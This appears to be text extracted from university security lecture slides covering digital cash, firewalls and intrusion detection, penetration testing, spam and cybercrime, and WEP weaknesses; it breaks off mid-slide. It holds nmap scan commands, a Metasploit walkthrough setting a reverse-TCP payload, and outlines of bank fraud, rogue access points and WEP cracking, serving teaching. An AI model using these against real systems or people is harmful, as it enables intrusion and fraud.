The customer picks secret random values x and r

Coin identifier x

Number r in ZN relatively prime to N

The customer sends to the bank value

y = re h(x) mod N

The bank creates signature s(y) on y

s(y) = yd mod N

The customer derives from s(y) signature s(x) on x

s(x) = s(y) / r mod N

Proof

s(y) / r mod N = red - 1 h(x)d mod N = h(x)d mod N = s(x)

8

Blindly Signing a Valid Coin

The customer generates k coins and submits to the bank commitments (cryptographic hashes) for all the coins

The bank randomly selects k - 1 coins

The customer reveals to the bank the selected k - 1 coins

The bank verifies the commitments on the selected k - 1 coins

The bank creates a blind signature on the remaining coin

The coin signed by the bank is valid with probability

1 - 1/ k

9

Defenses Against Double Spending

Online protocol

The bank is online during the payment transaction to revoke spent coins

Offline protocol

Withdrawn coins embed encrypted customer identity

Deposited coins embed also encrypted merchant identity

Double spending caused the identity of the cheating party to be revealed

10

Secret Splitting into Shares

A secret string x can be split into random values y and z as follows

Pick a random value y

Set z = y  x

String x can be reconstructed from y and z by setting

x = y  z

Both shares y and z are random values and are referred to as shares of x

Neither share reveals any information about secret x

11

11

12/1/2010

Digital Cash

Coins

Let h be a cryptographic hash function

Given a secret string x, a commitment pair for x is a pair (a, b) such that

a = h(y)

b = h(z)

y and z are random shares of x

Let ID be a string identifying the customer (e.g., name, address, etc.)

The coin issued by the bank to the customer consists of

Coin identifier x

Vector of n commitments pairs (a1, b1), … , (an, bn) for ID

The coin does not reveal the identity of the customer

12

Withdrawal

The customer generates and submits k coins to the bank

The bank randomly selects k - 1 coins

The customer reveals to the bank the shares associated with the commitments pairs of the selected coins

The bank creates a blind signature on the remaining coin

The coin signed is valid with probability 1 - 1/ k

13

Payment

The customer gives to the merchant a coin { x ; [(a1, b1), … , (an, bn)] }

The merchant verifies the signature on the coin

The customer gives to the customer a random binary vector s1, … , sn, called selector

The customer reveals to the merchant the shares indicated by the selector, i.e., it sends to the merchant a vector of strings P1, … , Pn such that

h(Pi) = ai if si = 0

h(Pi) = bi if si = 1

14

Deposit and Security Properties

Deposit

The merchant deposits with the bank the coin and strings P1, … , Pn

The bank verifies the signature and keeps track of coins and associated strings

Security properties

The probability that the selectors provided by two merchants are identical is 1/ 2n

Thus, if the customer double spends a coin, then the bank finds out the identity of the customer with probability 1 - 1/ 2n

A merchant can double spends a coin without being detected by the bank only if it can find a collision of the hash function

The scheme does not prevent double spending but detects it and identifies the culprit with high probability

15

References

The electronic cash scheme presented in this lecture is based on the work by David Chaum http://www.chaum.com/

D. Chaum, A. Fiat, and M. Naor. Untraceable Electronic Cash, in Proc. CRYPTO 1988. http://citeseer.ist.psu.edu/421212.html

S. Goldwasser and M. Bellare. Lecture Notes on Cryptography [Section 12.5] http://www-cse.ucsd.edu/users/mihir/papers/gb.html

16

Ch06-Firewalls.pptx

Firewalls, Tunnels, and Network Intrusion Detection

1

1

Firewalls

A firewall is an integrated collection of security measures designed to prevent unauthorized electronic access to a networked computer system.

A network firewall is similar to firewalls in building construction, because in both cases they are intended to isolate one "network" or "compartment" from another.

2

Firewall Policies

To protect private networks and individual machines from the dangers of the greater Internet, a firewall can be employed to filter incoming or outgoing traffic based on a predefined set of rules called firewall policies.

3

Trusted internal network

Firewall

Firewall policies

Untrusted

Internet

Policy Actions

Packets flowing through a firewall can have one of three outcomes:

Accepted: permitted through the firewall

Dropped: not allowed through with no indication of failure

Rejected: not allowed through, accompanied by an attempt to inform the source that the packet was rejected

Policies used by the firewall to handle packets are based on several properties of the packets being inspected, including the protocol used, such as:

TCP or UDP

the source and destination IP addresses

the source and destination ports

the application-level payload of the packet (e.g., whether it contains a virus).

4

Blacklists and White Lists

There are two fundamental approaches to creating firewall policies (or rulesets) to effectively minimize vulnerability to the outside world while maintaining the desired functionality for the machines in the trusted internal network (or individual computer).

Blacklist approach

All packets are allowed through except those that fit the rules defined specifically in a blacklist.

This type of configuration is more flexible in ensuring that service to the internal network is not disrupted by the firewall, but is naïve from a security perspective in that it assumes the network administrator can enumerate all of the properties of malicious traffic.

Whitelist approach

A safer approach to defining a firewall ruleset is the default-deny policy, in which packets are dropped or rejected unless they are specifically allowed by the firewall.

5

Firewall Types

packet filters (stateless)

If a packet matches the packet filter's set of rules, the packet filter will drop or accept it

"stateful" filters

it maintains records of all connections passing through it and can determine if a packet is either the start of a new connection, a part of an existing connection, or is an invalid packet.

application layer

It works like a proxy it can “understand” certain applications and protocols.

It may inspect the contents of the traffic, blocking what it views as inappropriate content (i.e. websites, viruses, vulnerabilities, ...)

6

Stateless Firewalls

A stateless firewall doesn’t maintain any remembered context (or “state”) with respect to the packets it is processing. Instead, it treats each packet attempting to travel through it in isolation without considering packets that it has processed previously.

7

Trusted internal

network

SYN

Seq = x

Port=80

SYN-ACK

Seq = y

Ack = x + 1

ACK

Seq = x + 1

Ack = y + 1

Allow outbound SYN packets, destination port=80

Allow inbound SYN-ACK packets, source port=80

Client

Server

Firewall

Stateless Restrictions

Stateless firewalls may have to be fairly restrictive in order to prevent most attacks.

8

Trusted internal

network

SYN

Seq = y

Port=80

Allow outbound SYN packets, destination port=80

Drop inbound SYN packets,

Allow inbound SYN-ACK packets, source port=80

Client

Attacker

(blocked)

Firewall

Statefull Firewalls

Stateful firewalls can tell when packets are part of legitimate sessions originating within a trusted network.

Stateful firewalls maintain tables containing information on each active connection, including the IP addresses, ports, and sequence numbers of packets.

Using these tables, stateful firewalls can allow only inbound TCP packets that are in response to a connection initiated from within the internal network.

9

Statefull Firewall Example

Allow only requested TCP connections:

10

Trusted internal

network

SYN

Seq = x

Port=80

SYN-ACK

Seq = y

Ack = x + 1

ACK

Seq = x + 1

Ack = y + 1

Allow outbound TCP sessions,

destination port=80

Client

SYN-ACK

Seq = y

Port=80

Attacker

(blocked)

Established TCP session:

(128.34.78.55, 76.120.54.101)

128.34.78.55

76.120.54.101

Firewall state table

Server

Firewall

Tunnels

The contents of TCP packets are not normally encrypted, so if someone is eavesdropping on a TCP connection, he can often see the complete contents of the payloads in this session.

One way to prevent such eavesdropping without changing the software performing the communication is to use a tunneling protocol.

In such a protocol, the communication between a client and server is automatically encrypted, so that useful eavesdropping is infeasible.

11

Tunneling Prevents Eavesdropping

Packets sent over the Internet are automatically encrypted.

12

Server

Client

Tunneling protocol

(does end-to-end encryption and decryption)

Payloads are encrypted here

TCP/IP

TCP/IP

Untrusted Internet

Secure Shell (SSH)

A secure interactive command session:

The client connects to the server via a TCP session.

The client and server exchange information on administrative details, such as supported encryption methods and their protocol version, each choosing a set of protocols that the other supports.

The client and server initiate a secret-key exchange to establish a shared secret session key, which is used to encrypt their communication (but not for authentication). This session key is used in conjunction with a chosen block cipher (typically AES, 3DES) to encrypt all further communications.

The server sends the client a list of acceptable forms of authentication, which the client will try in sequence. The most common mechanism is to use a password or the following public-key authentication method:

If public-key authentication is the selected mechanism, the client sends the server its public key.

The server then checks if this key is stored in its list of authorized keys. If so, the server encrypts a challenge using the client’s public key and sends it to the client.

The client decrypts the challenge with its private key and responds to the server, proving its identity.

Once authentication has been successfully completed, the server lets the client access appropriate resources, such as a command prompt.

13

IPSec

IPSec defines a set of protocols to provide confidentiality and authenticity for IP packets

Each protocol can operate in one of two modes, transport mode or tunnel mode.

In transport mode, additional IPsec header information is inserted before the data of the original packet, and only the payload of the packet is encrypted or authenticated.

In tunnel mode, a new packet is constructed with IPsec header information, and the entire original packet, including its header, is encapsulated as the payload of the new packet.

14

Virtual Private Networking (VPN)

Virtual private networking (VPN) is a technology that allows private networks to be safely extended over long physical distances by making use of a public network, such as the Internet, as a means of transport.

VPN provides guarantees of data confidentiality, integrity, and authentication, despite the use of an untrusted network for transmission.

There are two primary types of VPNs, remote access VPN and site-to-site VPN.

15

Types of VPNs

Remote access VPNs allow authorized clients to access a private network that is referred to as an intranet.

For example, an organization may wish to allow employees access to the company network remotely but make it appear as though they are local to their system and even the Internet itself.

To accomplish this, the organization sets up a VPN endpoint, known as a network access server, or NAS. Clients typically install VPN client software on their machines, which handle negotiating a connection to the NAS and facilitating communication.

Site-to-site VPN solutions are designed to provide a secure bridge between two or more physically distant networks.

Before VPN, organizations wishing to safely bridge their private networks purchased expensive leased lines to directly connect their intranets with cabling.

16

Intrusion Detection Systems

Intrusion

Actions aimed at compromising the security of the target (confidentiality, integrity, availability of computing/networking resources)

Intrusion detection

The identification through intrusion signatures and report of intrusion activities

Intrusion prevention

The process of both detecting intrusion activities and managing automatic responsive actions throughout the network

17

IDS Components

The IDS manager compiles data from the IDS sensors to determine if an intrusion has occurred.

This determination is based on a set of site policies, which are rules and conditions that define probable intrusions.

If an IDS manager detects an intrusion, then it sounds an alarm.

18

Untrusted Internet

IDS Manager

IDS Sensor

router

router

router

IDS Sensor

Firewall

Intrusions

An IDS is designed to detect a number of threats, including the following:

masquerader: an attacker who is falsely using the identity and/or credentials of a legitimate user to gain access to a computer system or network

Misfeasor: a legitimate user who performs actions he is not authorized to do

Clandestine user: a user who tries to block or cover up his actions by deleting audit files and/or system logs

In addition, an IDS is designed to detect automated attacks and threats, including the following:

port scans: information gathering intended to determine which ports on a host are open for TCP connections

Denial-of-service attacks: network attacks meant to overwhelm a host and shut out legitimate accesses

Malware attacks: replicating malicious software attacks, such as Trojan horses, computer worms, viruses, etc.

ARP spoofing: an attempt to redirect IP traffic in a local-area network

DNS cache poisoning: a pharming attack directed at changing a host’s DNS cache to create a falsified domain-name/IP-address association

19

Possible Alarm Outcomes

Alarms can be sounded (positive) or not (negative)

20

Intrusion Attack

No Intrusion Attack

Alarm

Sounded

No

Alarm

Sounded

True Positive

False Positive

True Negative

False Negative

The Base-Rate Fallacy

It is difficult to create an intrusion detection system with the desirable properties of having both a high true-positive rate and a low false-negative rate.

If the number of actual intrusions is relatively small compared to the amount of data being analyzed, then the effectiveness of an intrusion detection system can be reduced.

In particular, the effectiveness of some IDSs can be misinterpreted due to a statistical error known as the base-rate fallacy.

This type of error occurs when the probability of some conditional event is assessed without considering the “base rate” of that event.

21

Base-Rate Fallacy Example

Suppose an IDS is 99% accurate, having a 1% chance of false positives or false negatives. Suppose further…

An intrusion detection system generates 1,000,100 log entries.

Only 100 of the 1,000,100 entries correspond to actual malicious events.

Because of the success rate of the IDS, of the 100 malicious events, 99 will be detected as malicious, which means we have 1 false negative.

Nevertheless, of the 1,000,000 benign events, 10,000 will be mistakenly identified as malicious. That is, we have 10,000 false positives!

Thus, there will be 10,099 alarms sounded, 10,000 of which are false alarms. That is, roughly 99% of our alarms are false alarms.

22

IDS Data

In an influential 1987 paper, Dorothy Denning identified several fields that should be included in IDS event records:

Subject: the initiator of an action on the target

Object: the resource being targeted, such as a file, command, device, or network protocol

Action: the operation being performed by the subject towards the object

Exception-condition: any error message or exception condition that was raised by this action

Resource-usage: quantitative items that were expended by the system performing or responding to this action

Time-stamp: a unique identifier for the moment in time when this action was initiated

23

Types of Intrusion Detection Systems

Rule-Based Intrusion Detection

Rules identify the types of actions that match certain known profiles for an intrusion attack, in which case the rule would encode a signature for such an attack. Thus, if the IDS manager sees an event that matches the signature for such a rule, it would immediately sound an alarm, possibly even indicating the particular type of attack that is suspected.

Statistical Intrusion Detection

A profile is built, which is a statistical representation of the typical ways that a user acts or a host is used; hence, it can be used to determine when a user or host is acting in highly unusual, anomalous ways.

Once a user profile is in place, the IDS manager can determine thresholds for anomalous behaviors and then sound an alarm any time a user or host deviates significantly from the stored profile for that person or machine.

24

Ch09-PenetrationTesting.pptx

Penetration Testing

12/7/2010

1

Penetration Testing

1

What Is a Penetration Testing?

Testing the security of systems and architectures from the point of view of an attacker (hacker, cracker …)

A “simulated attack” with a predetermined goal that has to be obtained within a fixed time

12/7/2010

2

Penetration Testing

Penetration Testing Is Not…

An alternative to other IT security measures – it complements other tests

Expensive game of Capture the Flag

A guarantee of security

12/7/2010

3

Penetration Testing

3

Authorization Letter

Detailed agreements/scope

Anything off limits?

Hours of testing?

Social Engineering allowed?

War Dialing?

War Driving?

Denials of Service?

Define the end point

Consult a lawyer before starting the test

12/7/2010

4

Penetration Testing

To Tell or Not to Tell?

Telling too many people may invalidate the test

However, you don’t want valuable resources chasing a non-existent “intruder” very long

And, elevation procedures make not telling risky

12/7/2010

5

Penetration Testing

5

Black Box vs. White Box

It treats the system as a "black-box", so it doesn't explicitly use knowledge of the internal structure.

It allows one to peek inside the "box", and it focuses specifically on using internal knowledge of the software to guide the selection of test data

12/7/2010

6

Penetration Testing

6

7

OSSTMM

OSSTMM – Open-Source Security Testing Methodology Manual

Version 3.0 RC 26 at www.osstmm.org http://www.isecom.org/projects/osstmm.htm

It defines how to go about performing a pen test, but does not go into the actual tools.

12/7/2010

Penetration Testing

8

Technique – Penetration Testing

Gather Information

Scan IP addresses

Fingerprinting

Identify vulnerable services

Exploit vulnerability (with care!)

Fix problems ?

12/7/2010

Penetration Testing

9

Gathering Information

Goal – Given a company’s name, determine information like:

what IP address ranges they have

WHOIS (arin.net …)

Nslookup

personal information

Social engineering

Google

we.register.it

12/7/2010

Penetration Testing

10

Scan IP Addresses

Goal – Given a set of IP addresses, determine what services and Operating Systems each is running.

Nmap – www.nmap.org

Gfi languard

12/7/2010

Penetration Testing

11

Fingerprinting

What web server is running?

What accounts have I found?

What services are running?

What OSes are running?

Who is logged in?

Is there available information on the web site?

12/7/2010

Penetration Testing

12

Identify Vulnerable Services

Given a specific IP address and port, try to gain access to the machine. Report all known vulnerabilities for this target.

Nessus

OpenVAS

12/7/2010

Penetration Testing

12/7/2010

13

Penetration Testing

12/7/2010

14

Penetration Testing

Exploit vulnerability

Try to exploit detected vulnerabilities, for example:

Buffer overflow

Heap overflow

SQL injection

Code injection

Cross-site scripting

Metasploit is a framework that allows to test attacks

12/7/2010

15

Penetration Testing

12/7/2010

16

Penetration Testing

Alternatives

Tools Features Core Impact Immunity Canvas SecurityForest Metasploit
License 25.000$ Open-source (but some libraries are only in binaries) 1.450$ Open source 3 months of updates and support Free and Open-source Free and Open-source
Number of Exploits - more of 150 ~2500 (at February 2005) 191 (at October 2007)
Updates Frequently (weekly) Frequently (average 4 exploit every month) Occasionally (last updates in 2005) Occasionally (last updates on October 2007)
Platform Only Windows Independent Only Windows Independent
Program Language Python Python Perl for framework, many others languages for exploits (C,Perl,Python,Ruby,Shell,...) Ruby, C, Assembler
Advantages Report system / Integrationwith vulnerability assessment tools 0-day payload Number of pre-compiled exploits (see ExploitationTree) Free / IDS-IPS evasion / support to write exploits and large used in security community

17

Penetration Test Tutorial

12/7/2010

18

Penetration Testing

Nmap (Network Mapper)

Port Division

- open, closed, filtered, unfiltered, open|filtered and closed|filtered

Scanning techniques

-sS (TCP SYN scan)

-sT (TCP connect() scan)

-sU (UDP scans)

-sA (TCP ACK scan)

-sW (TCP Window scan)

-sM (TCP Maimon scan)

--scanflags (Custom TCP scan)

-sI <zombie host[:probeport]> (Idlescan)

-sO (IP protocol scan)

-sN; -sF; -sX (TCP Null, FIN, and Xmas scans)

-b <ftp relay host> (FTP bounce scan)

12/7/2010

19

Penetration Testing

19

Identify active hosts and services in the network

ping sweep useful to identify targets and to verify also rogue hosts

Ex:

nmap -v -sP 192.168.100.0/24

-sP Ping scan.

port scanning useful to identify active ports (services or daemons) that are running on the targets

Ex:

nmap -v -sT 192.168.100.x

-sT normal scan

-sS stealth scan

12/7/2010

20

Penetration Testing

20

nmap -v -sP 192.168.15.0/24 | egrep 'up|MAC'

Identify target OS version

OS Fingerprinting: there are different values for each OS (Ex. TCP stack, …)

Ex: Nmap –O <target>

12/7/2010

21

Penetration Testing

Vulnerability scanning

Nessus is a leader tool in vulnerability scanning

There are two components :

nessusd server with plugins’ list of known vulnerabilities (there are different kinds of subscription depending on how old are plugins)

nessus is a front end of the tool there are several version for windows and linux systems

12/7/2010

22

Penetration Testing

Introduction to Nessus

Created by Renaud Deraison

Currently Maintained by Tenable Network Security

Uses the NASL Scripting language for it’s plugins (currently over 13,000 plugins!)

Price is still Free! But no more open source

Register to obtain many NASL plugins (7 day delay).

Or Purchase a Direct Feed for the Latest!

12/7/2010

23

Penetration Testing

Nessus Features

Client/Server Architecture

SSL/PKI supported

Smart Service Recognition

(i.e. FTP on 31337)

Non-Destructive or Thorough Tests

Vulnerability Mapping to CVE, Bugtraq, and others

Vulnerability Scoring using CVSS from NIST.

12/7/2010

24

Penetration Testing

OpenVAS

OpenSource Vulnerability Assessment Scanner

Previously GNessUs (a GPL fork of the Nessus)

OpenVAS is a security scanner to allow future free development of the now-proprietary NESSUS tool

OpenVAS now offers 15’000 Network Vulnerability Tests (NVTs) more all NASL plugins.

12/7/2010

Penetration Testing

25

Open VAS technology

12/7/2010

Penetration Testing

26

Exploit vulnerabilities

metasploit is a framework that allows to perform real attacks

You need to start metasploit from the start menu (Penetration Test->Framework 3)

msfconsole

12/7/2010

27

Penetration Testing

Select the exploit and the payload

Select an exploit:

msf > use windows/http/altn_webadmin

msf exploit(altn_webadmin) >

Select the payload for the exploit (setting the PAYLOAD global datastore)

msf exploit(altn_webadmin) > set PAYLOAD windows/vncinject/reverse_tcp

PAYLOAD => windows/vncinject/reverse_tcp

12/7/2010

28

Penetration Testing

Set options for exploit and payload

Show options

msf exploit(altn_webadmin) > show options

Set the options:

msf…> set RHOST 192.168.100.x TARGET IP

msf…> set RPORT 1000 VULNERABLE SERVICE

msf…> set LHOST 192.168.100.Y ATTACKER IP

msf…> set TARGET 0 TYPE OF EXPLOIT

Launch the exploit

msf exploit(altn_webadmin) > exploit

12/7/2010

29

Penetration Testing

Vulnerabilities disclosure

If we find a new vulnerability (Zero Day Vulnerability)

What we have to do?

Do not say anything and maintain the secret perhaps in the future the producer will fix it

Spread the information:

to all or just to the producer

Which level of detail reveal

Full disclosure with possibility of helping cracker?

Partial disclosure that could be unuseful?

Sell it …

12/7/2010

30

Penetration Testing

30

linux 2.4linux 2.6openbsdwindows 9xwindows 2000windows xp

ttl64646432128128

packet length606064484848

initial windows584058401638490001638416384

mss5125121460146014601460

ip id0randomrandomIncrement incrementincrement

enabled tcp optMNNTNWMNNTNWMMMNNTMNW

timestamp inc.100hz1000hzunsupportedunsupportedunsupportedunsupported

sackOKOKOKOKOKOK

SYN attempts554333

Sheet1

linux 2.4 linux 2.6 openbsd windows 9x windows 2000 windows xp windows vista
ttl 64 64 64 32 128 128 128
packet length 60 60 64 48 48 48 48
initial windows 5840 5840 16384 9000 16384 16384 16384
mss 512 512 1460 1460 1460 1460 1460
ip id 0 random random Increment increment increment increment
enabled tcp opt MNNTNW MNNTNW M M MNNT MNW MNW
timestamp inc. 100hz 1000hz unsupported unsupported unsupported unsupported 100Hz
sack OK OK OK OK OK OK OK
SYN attempts 5 5 4 3 3 3 3
SYN attempt delay 3-6-12-24 3-6-12-24 6-12-24 3-6 3-6 3-6 3-6
FIN probe no response no response no response no response no response no response no response
isn tcp truly random truly random random increment random increment random increment random increment
SYN/FIN Resp=Y DF=Y Resp=Y DF=Y Resp=Y DF=Y Resp=Y DF=Y Resp=Y DF=Y Resp=Y DF=Y Resp=Y DF=Y
df depends on request type and options
tos
&C&A
&CPagina &P

Ch10-SpamCybercrime.pptx

Spam and Cybercrime

12/1/2010

Spam and Cybercrime

1

SMTP

Simple Mail Transfer Protocol

Client connects to server on TCP port 25

Client sends commands to server

Server acks or notifies of error

Security issues

Sender not authenticated

Message and headers transmitted in plain text

Message and header integrity not protected

Spoofing trivial to accomplish

Example SMTP session

HELO mail.university.edu

MAIL FROM: [email protected]

RCPT TO: [email protected]

DATA

From: [email protected]

To: [email protected]

Date: April 1, 2010

Subject: Executive order

You are hereby ordered to increase the stipend of all TAs by $10,000 per year.

Sincerely,

The President of the United States

.

12/1/2010

Spam and Cybercrime

2

What is Email Spam?

Email spam is often defined as unsolicited bulk email

Forbidden by all major ISPs

Considered “acceptable business practice” by US Direct Marketing Association (DMA)

Unsolicited email and bulk email are individually acceptable practices for people, business, and organizations

Spam arises from the combination of unsolicited and bulk

In classifying email as spam, content does not matter

The US CAN-SPAM act (2004) regrettably protects commercial spam provided some requirements are satisfied, including:

Opt-out mechanism

Sender clearly identified and subject line not deceptive

Adult material labeled in subject line

12/1/2010

Spam and Cybercrime

3

Who Responds to Spam anyhow?

12/2/2010

Spam and Cybercrime

4

A princess in Nigeria wants to send me money!

Spam Conversion

Empirical study [Kanich + 2008]

Parasitic infiltration into botnet launching spam campaign for “Canadian drugs”

28 conversions, yielding $3K, from 300M spam messages over 26 days

12/2/2010

Spam and Cybercrime

5

Yes, Honey, you could

benefit from that drug.

Blacklisting

Spamhaus Black List (SBL)

Real-time database of IP addresses of verified spam sources

Eliminates about 10% of spam before transmission takes place

Formal listing and delisting procedures

More than 600M email users protected by SBL

How to circumvent blacklisting

Powerful blacklisted spam server impersonates small unlisted zombie

Initiate TCP handshake from zombie

Send bulk email from spam server using spoofed source IP and TCP sequence numbers

12/1/2010

Spam and Cybercrime

6

zombie

spam server

victim

TCP handshake

TCP sequence numbers

SMTP spam transmission

Graylisting

Spam servers typically do not resend messages after transmission errors

Maintain database of trusted servers

Respond with “Busy, please retry” to SMPT connection requests from servers not in database

Server added to database if reestablishes connection

Currently effective although simple to circumvent

12/1/2010

Spam and Cybercrime

7

Sender ID and Sender Policy Framework

Store DNS records about severs authorized to send mail for a given domain

Look up domain in From header to find IP address of authorized mail server

12/1/2010

Spam and Cybercrime

8

Source: Microsoft

DomainKeys Identified Mail (DKIM)

Sender’s mail server signs email to authenticate domain

Public key of server available in DNS record

To be used in conjunction with other spam filtering methods

12/1/2010

Spam and Cybercrime

9

DomainKey-Signature: a=rsa-sha1; s=mail; d=example.net; c=simple; q=dns;

b=Fg…5J

example.net Name Server

example.net MTA

yahoo.com MTA

Sign mail

Private key

Public key

Query for public key

Verify

signature

Send signed email

Provide public key

Authentication-Results: example.net [email protected]; domainkeys=pass;

SenderID vs. DKIM

SenderID

Sending MTA authentication

Channel based

Simple implementation

Message integrity not protected

Mail forwarding not supported

Vulnerable to DNS cache poisoning

Vulnerable to IP source spoofing

DKIM

Sending MTA authentication

Object based

Cryptographic assurance

Protection of message integrity

Supports mail forwarding

Vulnerable to DNS cache poisoning

12/1/2010

Spam and Cybercrime

10

Cybercrime

Symantec’s definition:

Cybercrime is any crime that is committed using a computer, network, or hardware device. The computer or device may be the agent of the crime, the facilitator of the crime, or the target of the crime. The crime may take place on the computer alone or in addition to other locations.

Enablers of cybercrime

Software vulnerabilities

Online shopping and access to financial accounts

Countries with lax or corrupt law enforcement

12/1/2010

Spam and Cybercrime

11

Credit Cards

Credit card information

Supposed to be kept secret

Shared with multiple merchants

Transmitted often insecurely

Low entropy of the credit card number (first four digits denote financial institution)

Advantage

Simple scheme for users, banks, and merchants

Disadvantage

Fraud easy to commit

Tradeoff

No security measures to facilitate use

Private customers and merchants held harmless

Transaction fee covers bank fraud losses

12/1/2010

Spam and Cybercrime

12

Common Credit Card Frauds

Buy popular goods and resell them

Needs package delivery address

Requires resale business

Often goods reshipped abroad

Buy financial instruments

Traveler’s checks

Gift cards

E-gold

Additional conversion needed to avoid revocation

Buy cash equivalents

Western Union money transfers

Foreign currency

12/1/2010

Spam and Cybercrime

13

Defending Against Credit Card Fraud

One-time credit card numbers

Available from several issuers (e.g., AmEx, Citibank)

Does not work for subscription plans

Time consuming for users

Cumbersome to obtain refunds

Worthwhile for high-value transactions or untrusted merchants

Monitoring transactions

Email or text message for each transaction

Continuous annoyance to catch a rare event

Password enabled transactions

Similar to PIN for ATM cards

Difficult to share password only with the bank and communicate verification outcome to merchant (three-party protocol)

12/1/2010

Spam and Cybercrime

14

Bank Accounts

Account information

Supposed to be kept secret

Shared with merchants, customers and friends

Same account number for deposits and withdrawals

Typical bank transactions

Check

ATM

Wire transfer

Banking in the US

Account title

Taxpayer ID Number (TIN)

Checks can be generated by customers or third parties

Signature not verified in practice for amounts below $30K

Automated Clearing House (ACH), regulated by Federal Reserve, supports interbank transfers, direct deposits and direct debits

ACH allows one to initiate from account A an inbound transfer into A from any account B with same TIN as A

12/1/2010

Spam and Cybercrime

15

Common Bank Frauds

Forged checks

Create checks with magnetic ink printers

Cash with fake ID

Low amounts typically not scrutinized

Wire transfer

Send fax to bank to order wire transfer

Most effective if money wired abroad

Account creation

Create account A impersonating owner of account B

ACH transfer from B to A

Cash with ATM or wire transfer

12/1/2010

Spam and Cybercrime

16

Defending Against Bank Fraud

Multi-factor authentication

Hardware token generating one-time codes

Personal images and sentences to defend against phishing

Code sent by email/sms to registered address to authorize debit transactions

Account ownership verification

Linking accounts for ACH transfers requires knowledge of to small deposits to the account

Restrictions on accounts

E.g., only credit transaction accepted

Monitoring bank transactions

Email/text message after each transactions

No online banking

Limited bank liability for online frauds

12/1/2010

Spam and Cybercrime

17

Ch06-WirelessNetworks.pptx

Wireless Networks

11/1/2010

Wireless Networks

1

Welcome to Wireless

Radio waves

No need to be physically plugged into the network

Remote access

Coverage

Personal Area Network (PAN)

Local Area Network (LAN)

Metropolitan Area Network (MAN)

Security concerns

Radio signals leaking outside buildings

Detection of unauthorized devices

Intercepting wireless communications

Man-in-the-middle attacks

Verification of users

Restricting access

11/1/2010

Wireless Networks

2

Types of Wireless Networks

Infrastructure

Client machines establish a radio connection to a special network device, called access point

Access points connected to a wired network, which provides a gateway to the internet

Most common type of wireless network

Peer-to-peer

Multiple peer machines connect to each other

Typically used in ad-hoc networks and internet connection sharing

11/1/2010

Wireless Networks

3

Peer

Peer

Peer

Peer

Access Point

Client

Wired LAN

Client

Client

SSID

Multiple wireless networks can coexist

Each network is identified by a 32-character service set ID (SSID)

Typical default SSID of access point is manufacturer’s name

SSIDs often broadcasted to enable discovery of the network by prospective clients

SSIDs are not signed, thus enabling a simple spoofing attack

Place a rogue access point in a public location (e.g., cafe, airport)

Use the SSID of an ISP

Set up a login page similar to the one of the ISP

Wait for clients to connect to rogue access point and authenticate

Possibly forward session to ISP network

Facilitated by automatic connection defaults

11/1/2010

Wireless Networks

4

Eavesdropping and Spoofing

All wireless network traffic can be eavesdropped

MAC-based authentication typically used to identify approved machines in corporate network

MAC spoofing attacks possible, as in wired networks

Sessions kept active after brief disconnects

If ISP client does not explicitly end a session, MAC spoofing allows to take over that session

11/1/2010

Wireless Networks

5

Captive Portal

Protocol

DHCP provides IP address

Name server maps everything to authentication server

Firewall blocks all other traffic

Any URL is redirected to authentication page

After authentication, regular network services reinstated

Client identified by MAC address

Used by wireless ISPs

Security issues

A MAC spoofing and session stealing attack may be performed if client does not actively disconnect

A tunneling attack can bypass captive portal if DNS traffic beyond firewall is not blocked before authentication

11/1/2010

Wireless Networks

6

Wardriving and Warchalking

Driving around looking for wireless local area networks

Some use GPS devices to log locations, post online

Software such as NetStumbler for Windows, KisMac for Macs and Kismet for Linux are easily available online

Use antennas to increase range

Legality is unclear when no information is transmitted, and no network services are used

Warchalking involves leaving chalk marks (derived from hobo symbols) on the side walk marking wireless networks and associated information

11/1/2010

Wireless Networks

7

Wired Equivalent Privacy

Goals

Confidentiality: eavesdropping is prevented

Data integrity: packets cannot be tampered with

Access control: only properly encrypted packets are routed

Design constraints

Inexpensive hardware implementation with 90’s technology

Compliance with early U.S. export control regulations on encryption devices (40-bit keys)

Implementation and limitations

Encrypts the body of each frame at the data-link level

Legacy IEEE 802.11 standard to be avoided

11/1/2010

Wireless Networks

8

WEP Protocol

Setup

Access point and client share 40-bit key K

The key never changes during a WEP session

Encryption

Compute CRC-32 checksum of message M (payload of frame)

Pick 24-bit initialization vector V

Using the RC4 stream cipher, generate key stream S(K,V)

Create ciphertext C = (M || crc(M))  S(K,V)

Client authentication

Access point sends unencrypted random challenge to client

Client responds with encrypted challenge

Transmission

Send V || C

11/1/2010

Wireless Networks

9

Message

CRC

Key Stream

Message Modification Attack

Message modification

Given an arbitrary string D, we want to replace message M with M′ = M  D

Man-in-the middle replaces ciphertext C with C′ = C  (D || crc(D))

Targeted text replacement

Possible if we know position of text in message

E.g., change date in email

Reason of vulnerability

CRC checksum distributes over XOR

Not a cryptographic hash function

11/1/2010

Wireless Networks

10

IP Redirection Attack

Attacker convinces access point to decrypt packet

Method

Eavesdrop inbound IP packet

Resend packet to external machine controlled by attacker

Receive packet decrypted by access point

Repeat with outbound packets

Guess destination address

Within LAN subnet

Change destination address

Modify original destination D to external machine D′ controlled by attacker

Use above message modification method

Change packet checksum

Difference between new checksum and old known x′ - x = (D′H + D′L) - (DH + DL)

Guess x′  x

Success after few attempts

11/1/2010

Wireless Networks

11

Reused Initialization Vectors

Repeated IV implies reused key stream

Attacker obtains XOR of two messages

Attacker can recover both message and key stream

Recovered key stream can be used by attacker to inject traffic

Default IV

Several flawed implementations of IV generation

E.g., start at zero when device turned on and then repeatedly increment by one

Random IV

Small length (24 bits) leads to repetition in a short amount of time even randomly generated

E.g., collision expected with high probability after 212  4,000 transmissions

11/1/2010

Wireless Networks

12

Authentication Spoofing

Attacker wants to spoof a legitimate client

Does not know the secret key K

Can eavesdrop authentication messages

Attack

Obtain challenge R and encrypted challenge C = (R || crc(R))  S(K,V)

Compute key stream S(K,V) = (R || crc(R))  C

Reuse key stream S(K,V) when challenged from access point

11/1/2010

Wireless Networks

13

DEMO: Wardriving and WEP CRACKING

11/1/2010

Wireless Networks

14

Wardriving Tools

Netstumbler wifi scanner

Antenna for db gain

Wireless card with plug and monitor mode

GPS (optional)

11/1/2010

Wireless Networks

15

Wardriving Setup

The access point and client are using WEP encryption

The hacker is sniffing using wardriving tools

11/1/2010

Wireless Networks

16

Hacker

WEP-protected WLAN

Slow Attack: WEP Sniffing

To crack a 64-bit WEP key you can capture:

50,000 to 200,000 packets containing Initialization Vectors (IVs)

Only about ¼ of the packets contain IVs

So you need 200,000 to 800,000 packets

It can take a long time (typically several hours or even days) to capture that many packets

11/1/2010

Wireless Networks

17

Fast Attack: Packet Injection

The hacker injects packets to create a more “interesting” packet

